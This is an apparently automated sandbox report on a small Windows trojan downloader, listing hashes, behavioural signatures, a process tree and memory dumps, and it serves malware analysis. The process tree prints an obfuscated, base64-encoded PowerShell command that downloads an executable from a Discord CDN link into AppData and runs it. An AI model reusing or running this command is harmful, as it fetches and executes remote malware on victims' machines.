Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    24-12-2023 10:18

General

  • Target

    SecuriteInfo.com.Trojan.DownLoader45.55850.3832.exe

  • Size

    6KB

  • MD5

    d0c32ff1da809dda5724a90a5dd80ff5

  • SHA1

    18f52952e62edb4ef0d31fa3b1aecb8678ccde1a

  • SHA256

    1a2e7d970dea301dc3480138506bf76dc01f82150ed8224a3f44136a777ce3a4

  • SHA512

    714cc6a0838f4dbb768632b4697c69f721badf0ee8169277c85a9cbdceff0fa668355767c7c8790ee605566f2deeeb87d4a7415bd34a3b8fd151cb4b6a54d3cb

  • SSDEEP

    96:LBuY79i8CFy0sMxb06jhIUqku4/tzNtUqEu45K/9gad3ojorl:LBuO9inFRreUqkuIhNtUqEu7Vgadv

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.55850.3832.exe
    "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.DownLoader45.55850.3832.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAcQB5ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADEAOAA3ADgAMAA2ADYANgAzADYAOQA3ADIAMwA2ADAAMAA4AC8AMQAxADgANwA4ADAANgA3ADUANgA0ADAAOAAxADQANwA5ADgAOAAvAG0AdQBjAGsAXwBpAHQAcAAuAGUAeABlAD8AZQB4AD0ANgA1ADkAOAAzAGEAMwBmACYAaQBzAD0ANgA1ADgANQBjADUAMwBmACYAaABtAD0ANwA0ADgAZgA4AGIAZgBiADMAZABmADAAOQBmADYAOQA1ADgAMABkAGEANQA4ADYAMwAyADEANQBhADAAOABhAGIAMgAzAGEAMwA5AGEAMgBmADYANQA2ADMAOQBmAGMAYQA4AGYAMwBkADEAYgA2ADUAYQBiAGEAZABlADkANgAmACcALAAgADwAIwB2AHIAcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGIAagBiACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAdwBiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADYANwBXAGkAbgBkAG8AdwBzAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAKQA8ACMAdABnAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBrAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAaAByACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADYANwBXAGkAbgBkAG8AdwBzAFMAZQByAHYAaQBjAGUALgBlAHgAZQAnACkAPAAjAHEAbAByACMAPgA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1624

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1624-12-0x0000000002720000-0x00000000027A0000-memory.dmp

    Filesize

    512KB

  • memory/1624-9-0x0000000002710000-0x0000000002718000-memory.dmp

    Filesize

    32KB

  • memory/1624-8-0x0000000002720000-0x00000000027A0000-memory.dmp

    Filesize

    512KB

  • memory/1624-7-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1624-6-0x000000001B4B0000-0x000000001B792000-memory.dmp

    Filesize

    2.9MB

  • memory/1624-11-0x0000000002720000-0x00000000027A0000-memory.dmp

    Filesize

    512KB

  • memory/1624-19-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1624-10-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1624-18-0x0000000002720000-0x00000000027A0000-memory.dmp

    Filesize

    512KB

  • memory/1624-13-0x0000000002720000-0x00000000027A0000-memory.dmp

    Filesize

    512KB

  • memory/1624-14-0x000007FEF61B0000-0x000007FEF6B4D000-memory.dmp

    Filesize

    9.6MB

  • memory/1624-15-0x0000000002720000-0x00000000027A0000-memory.dmp

    Filesize

    512KB

  • memory/1624-16-0x0000000002720000-0x00000000027A0000-memory.dmp

    Filesize

    512KB

  • memory/2988-0-0x00000000010E0000-0x00000000010E8000-memory.dmp

    Filesize

    32KB

  • memory/2988-1-0x000007FEF6160000-0x000007FEF6B4C000-memory.dmp

    Filesize

    9.9MB